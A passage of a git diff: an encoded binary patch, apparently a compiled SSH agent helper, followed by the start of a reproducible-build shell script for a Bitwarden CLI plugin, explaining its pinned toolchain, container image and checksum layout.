zThM-o_UGjJX_#wgsLoDvz}i!*1n=6~Pv=27DJ?UtNLv^<`H`ZQx3}Aozd`WQ6Qbyr zjO$`QHsZY09e|ZawSnFXV?VdWLheDvKyM>_@gdB*(W~D*R&bNgRHxs@xy(B3ZhEd2 z*Sk#T7g;G<PfxGg6VvMl}F@gCkA2Ix5B$sZI?UT~)CM2iqHK*>k67XJT$+ zbq7ClTF>1sFALnAyIphX{!5V57p-KY0$qOdf(Q**#Ib%gwSuvRL$rC$hwbk_E(VyN zL-otb1l3j9)uVI;T~lm?GH6ni0oEQ070M0C86F=rh-D-brPlSAVv2>{bXEy2(=Mg? z{B4RF`=iy4SLH0nPEMwHEzo&-rpOD4Gqc1?4$PlAf?c_6`wAyaZyV#zZ`oR3WGwGF zhEXd>)I;PP-KM81fi*l4!v`IqoyyqhS}R03ZDu;-;-)A*qU$RSV~w!X8*-M3d&N$^~P;vFb7H1^FSJ_3BG##KMc+bxD<4uD`gN?*NG#q+(8FGY`!uJRD?&hX+HRi zui;aFu5vqv_{tmRrU4FFaydRpfKM=)5%E`o85#=wU*wLB4(+FSYmFZ%CBi%-3w2=p zb6il7vN8cqlY&&G$uiIB^AN*+pGeMQ_8gLtn}uD~`Kus2S08z=6c2$NUvP`|#x%+oU&k-k7m%pQa z%pM0CUX!JfJtzMQJDTiO_e|T)6@~Z>5Go?0<5B3{-H|3dR-C@tcQoz_ue;|0+*9c_ zPk(Uaua->e2=Z7j7nlcteU=_e+-DkHl1HfaeVdFsA~fjY6b8_jRj|0lCun+J>h1Ld(D_Bp+C61 z`eX*9(yuyP>F%5aoqs>o*eq?nKRsu(qn*KT#L1;> zeV1rJ5{{;e=SL6c@ZEXDnVY#Xl4FPO(1^QMOc{X~l6fO(~lD2~`v~pC=l{ zr^yG~2Z@)^_uTH%6^?(I_C$k6#R#EpxX&}rz7^(4NWI6K^G9FN^h60Js70l7j!J#5 zKK-H_#;k>3GZ46*F2~8O;yl4$y1z6l^7q)hVC5rpXzIlTh4yv#p{pxdOO)=HJkZcI zJ=wayk-^|ARNdUQ)ovx;V?fZeOgDJ%Md7rhndX}lLlbg|AZ3QW;T!x6-xMoIjyJ*%PB}H_CS?ewjk(Efa_fZlwI=UwVyI`ttB9q+a)oH>=~FqM-J_pd(Uu#l7PEk^ ze6F!B=1o@%X6SQU*wFmf6a>%ac81&Zbt;T_r9Xtf^|PGV1gtc55v;1EoS^xN3~Z$O z_ojs)_C)N9R#I=Xgq3ZgM}nn2%~c}$K{Q1+pSmCc?aBGu8U@i-wwhX|pG@HD+`fkg z)kE6TPe=|tbnv|nY8IuR(^0GnDdwL{d%Fe3X3gSb4`9v3QKTu3E)v^1d`D`&Ygv6TP(c;JC8lvu`F8y4-&pr|t zgd4})42ot;$s%roQ3ZF6@bN6?_~mMg2zlv}#ip6y`Vv63mQjRD+?Y9}jcRB&&FtHr z%j_76y5`c@A-39zWZPIHPh=i{Z4(q}(lU@po&TEDSHKaIEe-xqtwXLpbqoiiA)wgN zp_TRe9BuRD6@c@jW0hYtdTD2V@AVovzU?q!{)L=^`-J3C$Zlcvsr&zZJ$+fBqerx%rYAoWM&g&ZdL_ z_U$un8o@kt&nN@Vsy%XQs1;V<7tjhPf)fksg-L?g?M#zhJAD4^i zY;qWBt82ws&R9$|Hs}ltYcetxu36mJrdprysA;VU%a*on*36U{5#X+VHTk_g61do> zq*Ci@k!SEYh-)9Cg3l)W`1U+h>HgYbD=*y+OlCgaXYGSpuBx0WO3}xc=S-+LTRLNo zfGKgP8%=o}Ue1O$`Q5pB0b>TFte+_-zwtcd4Vn7s41jcX*-^k9hAt-dc*WU_f=zJ4 zPh|y{KHV11#ZxC3;#Ttdh9)y)VQ`J##|4Txj3Nh`SG{(vX7ArWl=PT9KA`bmEyG4A zC2%hHGa+4vx5WfE*`q>@YS%24I1Q&y_uIyfMsLM}4y%WcX_b1#;&{mLWR?)Y*Y~|m z4r>G&!mNnA^)Eco)2@RjR9n((IXRNm(tceHo}+b!%&v+{!;GV74($L((pLp*F0X}D z2C7{8x8!g1XE8l^AigqO;wb(_tyi?vBD2A1DYNDzAZm{TBcK@KlBY?r-cgWY-=Uvw z;DqYwp-!|Uog9-}7KjP{@?ze@TYQ~*{ZHvdCmhySO=WnfUT90xq{?r{Ipc3~u&rjg zwFH}qO}?p+_Aelwf!`E0Yr52}X*9r3dkDN+_9pTq`HGsSHuOT&_R=L}h=gk(av|~# z&rx%zjf0w+CA}yO1#+Fr0e+G6Nk3YPmP+$4`-8v7ITK?kcZdDfE=ohe#72IJBJVQM zSnV`RbRCQQ3koCpAZdt@wj26%>j&a%@Gn?uW~b-CQH)IM}%>sIPmf zxcnunC_DF+TIl8KW}c%K=PKQ!HTy!x;zCDuPCMH4F4B48MR+8qf{^C1R-CuaN?W#y zQ1X(Dg^NwuE1bZoV;+rNVQ1B=X-AIwv--b=PE1g>Xfshn<9kAyI2*% zY@&EarPk%H7VmkXUWsDu5WSfh&^OS}ZDY;A?3m4>P9j5)bFFuCW&5w^7KVN$PxhRHDq8#BrDvz>b4kx6 zudWxe8P036gjG>(`)X_Vq+1ZQ?52cxl6SW2&s(x4e%6^6kWiX!H_@(}&fKa{B@z%I zD1Q8VFHEMdTT84kTec?X?09*WuD*Oj_^)^+_I0}T)s@0x`{I(KZU>yJ__n2~4Q)|I zWXWG6?6gyjWkyIV9w5*lfgibMR$1)pGlui!hCbou=3XD+>?*M`dhKg45Q*p7HU4#J>dV^O zmd*R`+?*?RjlydV0TIK64s?%jH8r}rwL(H;%Qa;lQ7gY%w5hIQK(Nc4@N?7%Fo$0jx(|8n?g{7S9(=2=#$9K=6WB&;ra}e?(bBc? zKDG~nKH~h$Cio2PgBc#Kdpvrx@I?jJ}o0aQl7 zC}MgQ9^e0Cb~rsPBQY}}EBO&kQdYX@p0NXIFRVb^w?&GY4`WX2Y?4TG%eY+>Y~iOC z>{tCfj5>8}yS68OXU5lQdJ(X93y-;x$?X`=sNU*e0Mku;8ggo$v%RtXjVD&V!F3bI zdfOmvR5v+z+c;}DzZ!u^==XjezkMD^gyKY@m459L4aeSIhH9~n(1!Th=XUkn@}fdK zN=6>{Yo^T8nVvk!H89*OSAH7VoAxxz+^s(;9*=oyXvZ_CuBD|VpcD3TT`60V-spw1 zJEL1l{zN*6LA+c(`vjZm@w+&#`t2O5P#NZuN9m`2QKue(bb zAwDc{BrsqliD>D5!(p>#gdE+EAK-}Qz6DA6;h=G|Q(s1NcprirLVGd@68t^G84Xr% z$p%o*cKd%Pfyw~s!`Y?DYVp8T;R~1t?(u;81IK^lafa%XRhlEk-L<^=o(Cf8z|Mmyi9bPhT;Y z9O8r~dEX|bvj6g3^N&&om(4A?rykZTr z5nCzd=yKfjT;~zKAf$U!lhUJrd;YE&w$RX>PD;sE^*}>1AOSba)4)WZ$S5PL zAM^40wGXHQg?~hi^(=iZvC4cFUbSikh87{P!nP$27Pb`Sf>ij-_9UU8xnm*KXH}DQ zyM8~h|H!ZxaCSXY{&Cr2bxkFP#QlRQL*LU`m`d5eX zlSiA5WXLeLQ|#xN2P|RR^C1(B&>KW^eFZ_Zx8XkAEUzcpHEVA_#P>cmoQPu zUA%+j6Wieu>2`-s;v1Jbdc|oV!fe~qgQE45#~-dNvfuQsqioelc)<>MdSd-nWV=yF zyX^47T-j9}sfvwY2;zfwstNhx#5#j8Jt^q-LiNpSeTRP5P@+#n+tsE2dt8(y*0UvWCkV@qr>u!WyN4bT2L|33#IH z=vbueVFFla`R%b|RXtR#34caNZyoT@(jH$eQhI8B>DXd{8g|bn0rQPwTQr4{b1e>M z*mc{758^y$f1^y;tJEpt)z_KyMYsL&VX0j}qa7I|9@5<`j~77vhd&LuY8S7r;A|*8 z%^tcrVPM(uYUC{2nYV6A+T*R-x18LR)wVZ%k-GIq?ceFHT{}I|`A2{H5%z9YayD`) z>krWCNO2fnbnYBaG7ft2qNw>|zYI)Eo2*VrpTZXQe6~@-^-!wT^`Vuc33*;AUr=lJ zow&#F}lH2G9CgFd{9eg(eDIf-GI zR*sVg$*nUR7!~ON4Vn0zC2={g?~zCgYYq7jo&nqMjS*y`p1AQ+1H5!@P|$wi)SPZD zwE~IRd-EvhUe?QUquS4HLsHt0w{1nt$8t1bz+JH0AY;6&U`zc@MOy5|)>B&@4V9;XR(`8@%xD1_82$RW)XVL) zA>bdJcbU=b7ZDFh^)EYed1(ihnV-t;Fvh-Q*e{^0AneAU_Rp7{&X?sLOUMf??4<=U zMC%>9#c?@dUKzWzG1_{#80Ph<7M5)Fdma^$^xXCA&XNBZ4-c~$d6{vs(gP{?2^2Pl>hUM2CVQ=wWexr;{aJ3+>7^Ue3P?KUwf8 z=RC4a;Fl~YHE)`S892wA8)4A^^&!N$=8bFb;Qub4ce!kE7J%5wsHFCxKW1+?UAyBl<<)@wDIprOAAP=hz;1}vTFwoAH@3?a1SC!(|w2BvD z)U=9ThAyURl|Q^;*yB}&K;x4D$-AWmy~#4JygvrH0#o_BHGs ziS4TZ+E2k%DtMc#@s}6d2r}n5zO22&{h2WexT~pV#?j7Og!(bRT(i^4A*pu(WJT-# zmBE1{4VrM!>Ey(;90{6(V#hrRn`De;vM22sj3*(#FQNiK==doShNE^GZJ!BRH=y%e zC@VQ~gWDsm4*w7cdJs^TE+@}}>mmy47wkab*gmyR|) z9yiRIJY>?rFf8@8h34M>Zn{(W*f~c0YS{{$F7Ejz6ekaxI=!1tKt~LuwFv#N0w~5p z?uOqCZ!S-^b)_4+;8sI9pZ3zy5qBEgmY1f>eAE0wHgQ+W)THLUQ~SVn!Z%H7J{IC|(B3y+zRzmb1Lv{egz9|B8aBb?2QavMA5-mg8d&~h+50yhuN z>ne{0-bcueyys`PtyOHfE%KGT zKO|GdmC>TL#hg(zO=M#Y)E8Y7YxMqId}W2Hm``KQ+@GpD^Sy8oA(fBbV*gaFVc5em zho91A_6G{CH+{SVk+9gk!7VNFduzVc7GW4`E^zX#PmKS%JL+Wn(ag{A{@d5Y8L-0t zc^ovV_K#D!%V$e0#N9qvyS=w&CM^^`^05g!n6)6VbS2^QVlrUakwgVqYs9MY>-+ET zRo&0ef1}RuVdTJSglVipE1gEQ=ux%_v5O*?5o+Gu--JSLt@%j)URG}J8}ai>W>Xa^ z^d$b?F%mCKreG1dqypD2+#Z;_J#MJ1@B0g|5yQt^e-7*hz;|HwxjQ$^2s7)SpT=^- z2q+x_mav~VO(qJUc8LCJ2bCeN(7{7a6$6g!fRv2PA?~BXXpkEl2}4SLL);qz9QgNK z6)f=azF_PAl@|!`pIl5tc~AX_9xv~lMqH%W)`sjbKDZ*sFpoCB*Nwnv>i6Ws_&=Mq zU+o0J(N@tR6u~Pgn93TqHzxg_wGJ{!xh8WGfqwnsa)=>Te(rQJ?xnRIW6``z2(4TT1vTXok9 z9Qm)D^vxprwP!bJm}U1dn4jn8#y7qf{cG^P57}s;nl=(7!CiN-q_x7AE*63j7v?;T z4wIJy9ukRtN8-OL(uW*a2E6TWMp_UES0@hg_JsA5yG+x0_|S)RpMjcLO&@BkCUgDN zYhFZh@MR%dC*j!B-DNq`lodJewee;80TNbAi}W=sZ|eF8M9mqB;xX%$luQ|%SLFQV zzVRY)arDt`RSQwIJpDDeJ7z6p!y)!x51`B(7)hvlJ0U2}stQ`Z%!}9Bey=wPc|G19 zoR_rsJw84LRCU5QqH)DCb%0ry0~Lnv$eY$AKcY>BF$!2M*&jW{u?{`x;HUyn;pg>w zl5`b9M^eN$QC%?Q>;yJd1xmN|%V~yeY4mK+PY5>GKlk@>^fHLYUnh(@(QMtXD|#0x zUe(!%binuD$^5-HfX)^WdBz5{j{n&Eq;r>Y+XvftlQY(WIsN3_KopQ&^zr$uQT!3t z+|gWNA0t64`z5~0egUA4#aUE`m@aO%0>_><$8L`nHY-|YEBgXeiNKTUV3NzOg~nVS zuP%0(F)?~ac>elAnbbz*DYjEGvbzUc{ZiS`1&ChLaD8-gBpmOzDeSc|&dVCy9egyI z>^DbGcpK6h949mHA23dtR6?X)7P2}2i~BN#`C%VmTjjva(DF)>u@#w2FM347VBJfYiJEVo$wL9;XKXDS5P?1eK3BSFEjM-kIM!1eZ zrOMy1L-iA1LWYdqS{L3@ygKQDtN0mRAoe$M@!EUvrzN#V?z9`}V4uz$y(eAlMMZ(t zWO9L*t6rYFL*+5D=0Wr5it63(7bjq8>a?Wn`|YlM)AC`F-(I6HE+uJ_Y{Ym)|7t^h zv4yR-!!>G|8b6T$vnJJ%%IoJdo%fYe>uP)ScBBqHS1oO8*`VksD)2Gjt+&T(ho8Gt z@~E`kF&8J!Gz#EM=`fsV?;fCKX?Z?MgAD=X&%-@O3`IK?fd`RAFu$Jl^)21w%iqh* z0h$9C_g2#8beg#u{Nn@MBB6*aT(|5-8Ob!adz zKHeYC0-6^(@gUVNQ6OI&bN`7BncX6-@4aB1j6Am0-hOd#R2^O}xY4s>w?xcoVMDCA zoo*Q933wCiy$|KX${n0J7wvr2;d2>$u~B+OK-EW#t3@3=6a()Oi$w@xt)VhJz;X9r zf$1>O+?JL@eT~ojNAs8_&x(6GqU{BqiYDYNb?z#ZTkjNzdiUQgYF?m;mXj{@ zVUn$yj2&XTbIqvxZ}jf(tFdWt)=@jV@A256Hfw*aHscqK_NJu7*`OflsFo~+3Rnb^ zT0tkw{HtEs-q9h+-sqE)#GH?c9cc`U*w|-HZaSn?Xxd}!RY^kOz5J_tPv<~;o3b}` zmqS94C{DgB-sZZ?=F$~qcN9H{lK7OzHCxNXLp6UTi?7wskqY1vbY1;0ZC&HoVAE^| z#->ZsI#|TiBif%LWF*wd0s9Hm=mAi3z1NKYHyn;Tid|f?;9Qk!Xz*7?off5NSJ%hdaX zq3-Uye{iQHK_V(x_&5q0%YN+t%KeNmJSD!wg z^A&>$XY;Q;juIShFFp|YmJJ%Kv@;kl9%6?|2+4uXBSNlc-dGgp^sZ*(%kb%;>aeLH zXJIq(ZJLu%Eh@_tfl0Vs?XK)4?e4DC`l*)zBXrOfdVV{SI-=D@Yy*j!TTfiU;OcYw zUY=O?%2Zw_)in5El7871|4i-U0hs*F#24z`-y03cl+DVTIiVA3-LYtaYmM~(b=yT~ zoTvT-vmc*mGZPoSJieG83-s4W7uTKu7Z*)jq)B=#vyM+I(|3jc0CpLd!`;ooe;_Z_ z9*cQtP_-KqkfyvPbc``jGpiwcdxyR$j3r;#VkWWmP2hI7_U`#I1*iW=H%VZI*p*pa z1X>Xn7JK`mDW|N56C z=$M*Ol0lm#kWPNB?We&+(9WR_^vqEDNgj*G)?pv*0KB$a{`as{3Z5BrGE%Nq>+v34 zPBA?OS1BpB=fq@5oFFum9z-djw$F0qvd7>R(*n>88syu=P*_2O3y)fTYiM@ATX}}6 z^V9jK`U=K8;3^}E+EHUzrAdF(fCjyaKN(5w`&MUXX}45xjW)%A8BR6p$K^Md?SJB| zGXt-6#QhjznbcE_+ShH>LI1KOMQPHz0NT_a9~Ir|>YiNfAO*8m4*RJEdZ|`0k&)!) z?+uYn(xu_0r{=1f5v}sIx#&@vTEni#;n2D|bMFtolGnEGc$_Ldj`^op>IX?B z>u3kQbH6^$6z5cGh4gVh{*c31QLKP*6<4FBnxtKiL#Kn>{0|Q908h8B??6@k59ZdP z9w+yHSDu=A^i^z`xf<@6ylk{)Tr(9`_QVGEPXte7e>#7NJT96RHRq0(_u@x$dpZ1GX#&{3a(A&bOSo{lWjdPsNj$#n1YH;6y93O5>8e394X(d z+SzXj)dFhuSdSxCnteB>FikGZN;-%Q!S5>UB+t$^O}hEa)JJDe6jo>sq;y_>PEsb# zmk#s}4=dfSR;@SH8cGbpX=IT<7S2n8kbnvve2$*-X>wPNWC5~DPj#bh=e8Dlw{f{r zi$4fsXF>p_wQD-h-<>xMj#@}>RcI}|v3y5tTC@{pgv7H|}XRBYSDu%j|_<@;Q zaoIDoeB!vb8WneFQnn9D#)}LKRH%;29=~qbdg*deSDnr1JF84`1|lVBv)9o89C>b( zD1vR;1AuV5cjjR?zLhgdeXa7-zw+{Vko}BMB-}<*+luLlqY)P}tE)TED6ZS6BUF>M zFy<`igeZ7B(1Gyz(*2L8!s6gMn2^43j@i+8f1aoOe%}db`C+0O;~%Ey%_%u&@B0$e zr8ej7I|h*qc2})FW@DO}7H~{5=f%;ye%^~*(dUjzvgHtiq1MTdQ+`l0g(ZO(=?1~a zPCgirJ3(xGSIXi(IMes`T;D*dEF{C-W1>c#BJE;_`2__`uq2m77)E!z_MPcT-1c(vE43KaaAV>G6xAFGJ}B%Tf)>J=!hturMHQNh0NFwHC42rb27!jv9tE$%j3}#a4_Nr>WZ-F z_)8?XWqjPlqX34s| z1PHqU>^^Z_E9yfL2IdT4$DdcGHd^MYC$p&p0+x4EC6SgFhwr9#s9*j)=N&5&S4#&v zM=2z`J~km5(urG;-D4NE9F%KXh2%<^w#ZE8=R3VKw08%uZVAWBNtV|>sIi&+ED$1@ zqkHiBYwV(YNMrdyqslEpF18jo&TLpNr6=2!WA5!YJ-vFCVH7l&(vs~dHwPs2s&xCf zZo1q?BfWR_+bN5zYW^@Zndzpn>Kk&?=!10dLoaw_NwhX7E+*K;yPYy8bp}1qZr)^l zF#DIO_A_Uh_N7?45;9qt!1pKJV(cY;ZAh2pH9)w5rxwp$^rf$*;bl06KHtCG$~4nD zm4`M!uf`7~}1m@dd%z=m@qX*u|E55GU(wV2Pt}ep7yW+^ z^-)@kGTtyG=>xC+mCur1moxlJ_y66X|Nk5RSC2vFxuO3*Gkzsn(+WXG$NHqmzOYx4 zJhNXjL+g;zdO@E3m;b26i*6B)k{B!{M}>O$Kwb-|A6GE>Fn>2S|AtkY=<=&Rb^#=12H+bq z-rGWRPRwPt2^wnG7cWPXdvGO4rz0)8@4ma`0Dqvs)l_YLe-?4UBk`w?^XyySA?fF$ zOyb}Z#~axl;K!1eCBmQ0(60IkZnDyco0v)LXcnXY>8swe;PHyx``65G|GOSNm?}oT z3ASd=l2DU;Z49v|@~deVT=0)0vu<+K?sUPZVkv`k<2T9>MuAgJiFX`_WyiiwoTk}FM%Te^H zw3fy3xL#2tYrG)FTd`?OS#0$H-^sH z5rb$mDkt_Xep#lqX|Pl7HG&08k%8I7F@NQ8VqVoZW53%@yIUUpaZ_59!AMKhRyT`2~8p#mpzZ)wY(kJR@{O*JJ}<9dtA4da0S~ntEmHF-Cljl`#l} zoZQUS+7zteq~E%;AI%>?cqGMX3s!p1T+ZrvV`_a|7wROakFyBHI@1?zME}s zo^@rn_T;3@1<{OcYUx$&KlQ^jmhS^p5_VW=;E? zO7^aU0)(D&znW}F8ay7E#5JTb(Az6Kafx$cw6Jia0foG7QY@hTl#_X}LP{+ks#{=B zN2d~7Bm#fuMV|Bn1lF`G^l6Y>g%1!?hIlSZcFb{X_L}T zi+usrI%;J*2lumA1vUFBlP2%o5th)J0KC4#>_-hNf|7C$k)Z)Q% z2d^O`soLP6od<$@P%H7a;|*GCG0D2@v*nUnU>|3Du>1bfmoX_Z+)T5X5u$vkM=N{t z-T8-jtq|PTFJ;!?G!{6M$-MX0{LbZwtk5q#_AuSlM&MfAiBb0x((&gw<9N9Sv4UO8 z*%Ab*0mw`eUvxR9wt=pIDnh(96sRe9GCZp+!>$^CE=jWrEgOZ2rBcEl1pPHr1;r=5K30=J^vuNZDv z$~pZV@+79W{sIhq`>n#pkZm^0KcJ5g&nJ^=vaY{%M?GG$E_mtS43AlK6`){A-XB~L zunYkHSZwLX1W=l`0JLg{tlV7>X4KKyBwC8aeK{+w1g_fb@RCK8ey`KY^R6#6i~aW} z_ATbp(=^F56oEO@SKq2WSMO>TOT2u~OIOckqBc^QCA~QWg3{oJp{N#lI=KzK1Sjr5 zX$+n?V?{Sa>x{aHRAO!u&aZB*G7ft|0lLVIE@^9F$uAe9dxN?>^K6j++WcOpj|iuv zs!IubxfMquE@$F!Kybl!tuyIDg0}U33w>`Y-23FU)}cM%blb^JeFbOId2r(?SkF!X#l44=WJHw zc`p0E;b~$QuM% z__e7v)K0!t;Ia&*yE-exy|O{x&t{mT+c9mKm2v2xW+r1lpT51^E@d9f>Uitp7ArR3 z;eQO@_pTRb1o_Op1;l6rG1mlXr^ZRZiKx@GY#b5fWwT2r>XkHWEg6Ho3n+UEv*jK* zx=qy^6=b>!swzy?Z7&^9k3aka6^}bP%&hh3Tx$hHcuw*svYD9wB}E5+I=ejV(3+D~ z&ECG#32zbn4m}SrNgcdrCQfDc3pV~`4U`MM`r6c^Cm=UzX;xkTqtpl-)C5{g9Z{xw zf^|Ms_uQ$zn;{Iod`CxOdAfd>#k0-bM5Ehvj^09yMp!_yfMd_wL!{6?l5i1Pgg@dj zB^u%>73mR-(m~cf2PIfD8K{@L@|r#$$3?U2P$bdSzYR5DaQu|GH};S)oi)?Gwt|6M zZrQMgQFnO#+CF2xt9M1*8@wcP95#FYm}_Z(hX}jokA!crsw*(e=(Zjg9W(B_0eYm{ zeQfd_9iac?!PTO-7JFgb9*=Ec(3&AJr_J*zwGw6t@B~8efHY>|9hTiKL%&s!2MhW`bhrKr152i z@WDvP3>q|MaU$xF@k(3LSWe|`paTiRt-lB9+@o4xLJR8A^d|=Dc4%h7@H1;#a3MNE z$r@*EG+0=j{l@)YuVO{cv=WH(FrNU1uU2obe1poo?>wkS-_zL7hX^DdVW(^hiwUY@ zC7)loC|?UX#7$Gd^?NQ@QeoIobUhDEAi#n^!6{ANHMP4}piPjcBz;O%EJ(pYCf z+A7Gk-h#CvhWl>`FaRF;2f8_Vx3c2~y)iX(^muegP}t*z-Jd+ZPV&k)+xl-#ac}w7 zti=7$boTp(J|7DQ&3%P?t9s`fb|-=}*bLtw z2lv4~eL}-0sg{D7szWMYN|H?XiHOU^DoKeJZ~VMT5isE%gvY3S+tipV*gzSx@TDP4 zEG%wI?M2q^$42gq5#$>1r1=rw)AR3%JBF2 z(W(-A^t3_$-z|;=p1hsSq3tkhKDVFP8(p{N15d`T^p^O%Nd*E@j(=WRc+9g-?*v<< z>lx@o9d2SbX*3TvH08}}Uc=|M<&WwGFA49Xw!!bkQ74k8#xEBc!Yg=;qXorIC3sk^ zP1Awr&qn*$d>GU(0|hABC*Bxb@nM_1NoEj|y8mMEV7hJ#{^7FM&vHSC#leRrh#;$A zWB-@ZcjXi+W!Ry{F$$^*nt4?+zQwxloX6MKPiUPZ*s%0!1y7}zMn`mE%Ien_R>?i4 ze5B+%GXrP3_N1j1>!lPlU2p3|>h_JJP$QE~C_vOBP5ie?riNKAPPFEcxV;w)U@%^pA zAIgWDNAW<%d|os=7|TGz`*lr=ZI)%#OuJI@;+=Bnro2K|Hp|L&Bn6ZJDVP;=Vr1Mr zGb88`voJPlL}F&-xt&yOn@RYs*Sn5B3`d@y&TWkD>PG$wQH)~DrIaCiUOtViX98|6 zet6ld3Rz8Rpo2A&;^b4sK$#2{;u;YXUsgE_%{SC(EHcdZ_lM$mJI$X9W~bzUNbOTy+BRy3SoP z6S9p@iGO?^Fu7P>(7EsKg4oV-Zs+b!A`FJTF`AB>_ag6fh`*yeT&t^xD zl8L(47T&2Ic2`&dJ3W~n91N0GrA)7dI3M;st-(X3m^DbhE^2~^>?zONWaoKDUHtaK zm`%t=r)<)b8mYuxmZOr_d6zhV6FXTo=t(Asd?<8y*?)KZ97#E7r>%iX9(Jlh3Jy|0 zaMJL{gELAxa!lc|(4fLxh8NkLD5_bY|74g*D9hP*T@|@rV7ieo23Fa!!pUWV0I}^9 z!kLm}eEPcH1+r@TID(qWU01PuU;AXMjrn;N1!>q&I_25Ul0zZr7tUy&J^DjBH9Wsc zHfdC=;ebpu3Jh*<3Zz-cfoGqq!**Gl>*;9;Wp}czF2ueeZg=c0H9(VcacsEtmt8Kj zF>;x^x;#|)Y8a+mP(v`wF1YY6R&uwFg|=` zJmcOY#^j_RL22Z%sm1D`da400Wup0f%@&n3OtJ&iD}1&eAWJSr5(pGr-b#Bg7I4)x z54YDEW&i2&B%N!LeGt#rsI7vXCr#zbQ+Mf>diXIFnaI|xlUBCrHm4J!(~EU3=~yVu zs%?6sseASg+^o47aOZoZU`^l}f`At#|rhn(gaNtG&UHc>whUAWi^e`Ufd1K=397_l_x513F#f~L=8-1G>l_gkRQDq|((V22vV zmv!7xyFi=i1m>Mx^7lBjfP#mdBaLA0#!9Gr=3vEKe_upjicVw)qx6R*e2iCm`lO9# zZdumW?!xEV!+l0Nt^raE6d)GO*z@W$-`ruuN~f8HcV+z1cql#B1zp;lh43%`ppra1 z)MX$AmMp1~-!BUH%nqsTE*1jy3>G2h@lYdj$>=U|X~E3jfivt_eN*G4#sxJG*Std7 zevx3d`)~W%hN@Q_EZG}m!fO9yjxYZ)#y{l?MzVTDNJOCj0~m*)1bb#{>S7WUyf@>s ztOxg04s?P?K;^|`-NxmA|8iBCCpnkgIqd8*kAIeVy4!!HzcJT?Wf1v^+2kD!`W2LC zj@=a1bAZ_Q^1;YX>BU?TmeW>H0}Xms3I`2h)2v=gZ$nkxVr7HSb-JQ zjS~Fxh3pswzQF#71Jt)VbnlB0Hj>pgQmRm=S)hA=p)?3RaNL9|$W+9^KkPnig&MpS zcRYjTUy3k_=tdz`Uyc|6zn|jj#m7%Lo}RNn@$`YV|_V)z?p_U$L?-L(nw!! zx_*G9?1kK#B4@z-`hI@856Ai#zP;ycij3$CvsU-G>6|zs3zMwbc_rUqJqech6+cp{ zK}yu`Fs$cnuBSoMInd6RAQc-~AV^AeWl2TpCV6=@2c?c!Ciq}bYA|q@#Vw^;cvo`i zYUiHlcJ;6IR9vj>xR9~u>H6(vS5rQnbN9}ya_U}R9zz;rLVGz~jjJG?+rDn2;%yd@2eY*| zh!DupYA(Do;Ao$?+H&oI-mMC+{-V;5#r8^-u^5{@r?))j4a#2+wkE^?nQ*Q~f2rza ziAps5_ax}Ht~QlDG$;Py+U_^|h`VAu9h1;cYd@=AG`lTZGB3_Wh$|e;x8jy5C&r&k zTv`OBOR zOVN;l7AJZ@pi%2c8qR%#8!FwHrzF5cN%l`R}59Y1SM^mu32J!tK+CQ`GBXHz7fkk8;-v z+e~!jeRdHr9c_fAYo8FbTuwp_t1hi$wZ#{gmr>=q&}5!*t_+AAE4U+3k#lWqE8WWh zg_uk*=C6C?W#Dd>W5HkUsQz--)!#DXZQjZ2e>C?IRZoH-s~-Rm6?HN10gxehi!NP@h1nIEgujW*#=z3!94@MfCn&PXX$4^{9qc~txMCa%;;nRWcyn`^VCn;Cmr{x3D{eUm7kpwj~#}INXGn~ z_tE497h`;hl33k+@21^^`74n}hJAtQEb_K^LC;yVGh(jMuV&aVw1L_6 zHB}h1wpXtqPrZ8VVE*kV^FyeEYRw^5@_P5*6sf7}7j_gXg!-23Q~re(D>Z~DQUAS) z#-Y}ND=5%Q?Zfqc58u_U&&tz;uXp|MCsz1-A)Aq`;CRG9&d6GfW=q()79ijh5vz@? z*Q9wHX+rF2o}Qn`xv_{M+wlDxFAs8N9w|7>!=I}pNLWc+ewB6UX1d+_QX;|ps_yOD zb@SuL5Ut;bwMyxwwEwc#ss@I2QbAi`48jy5849y!T$+u{SV~CYN{C8 zG)Dq1&2KL6zgwVz@0v${UuFDtqu+mL@fYCY@1uzSf6>VANEdkd(fvO+{|{|&#O3ZC WBu?3v`R%U;*VZujqeRXA>AwN|!=@Af literal 0 HcmV?d00001 diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/scripts/build-agent.sh b/plugins/io.github.elevate08.qs-bitwarden-cli/scripts/build-agent.sh new file mode 100644 index 0000000..e3b4b1f --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/scripts/build-agent.sh @@ -0,0 +1,351 @@ +#!/usr/bin/env bash +# Build the SSH agent helper reproducibly. +# +# The compiled helper is committed to this repository. That is only defensible +# if anyone can rebuild it from the committed source and get the same bytes -- +# otherwise the binary is an unauditable blob that happens to sit next to some +# source code. This script is the one entry point that produces it, locally and +# in CI, so there is a single definition of what "the release build" means. +# +# What fixes the output bytes: +# +# Cargo.lock the exact dependency set (committed) +# rust-toolchain.toml the exact compiler (committed) +# --target the ABI (below) +# --remap-path-prefix build paths, which otherwise leak (below) +# the container image glibc, ld and strip (PINNED_IMAGE) +# +# The last one is why a bare runner is not enough. A GNU-linked binary carries +# symbol version requirements from the glibc it built against, and `strip` +# output differs between binutils releases -- so `ubuntu-latest` drifting +# forward would change the bytes with nothing in the repository having changed. +# +# rustc does not consume SOURCE_DATE_EPOCH and embeds no build timestamp, so +# that variable is deliberately not part of this. The git commit is likewise +# not embedded: a binary tracked by the same commit that names it cannot be +# reproduced from that commit. + +set -o pipefail +set -u + +# The pinned build environment. Changing it means regenerating the binary and +# its checksum in the same commit. +# +# Pinned by digest rather than tag: a tag is a moving pointer, and +# `rust:1.98.0-bookworm` is rebuilt on new Debian base images, which changes +# glibc and binutils underneath an unchanged Rust version. This is the +# multi-arch manifest digest published 2026-08-25. +PINNED_IMAGE="rust:1.98.0-bookworm@sha256:82150a52ec202c1b14d7817e14516c392bb7f5cfebd88f1ed531cb37ebd39922" +SUPPORTED_TARGET="x86_64-unknown-linux-gnu" + +REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +# Architecture-scoped from the start. v1 ships x86_64 only, but a flat bin/ +# would have to be restructured the day a second target appears, and the +# checksum file would have to change shape with it. +OUTPUT_ARCH="x86_64-linux" +OUTPUT_DIR="$REPO_ROOT/bin/$OUTPUT_ARCH" +OUTPUT_NAME="qs-bitwarden-ssh-agent" +# One SHA256SUMS covering every tracked artifact, in the format `sha256sum -c` +# reads, rather than a sidecar file per binary. +SUMS_FILE="$REPO_ROOT/bin/SHA256SUMS" + +usage() { + cat <<'USAGE' +Usage: scripts/build-agent.sh [--verify-reproducible] [--compare-tracked] + [--allow-unpinned] [--explain] + + (no flags) Build the release helper 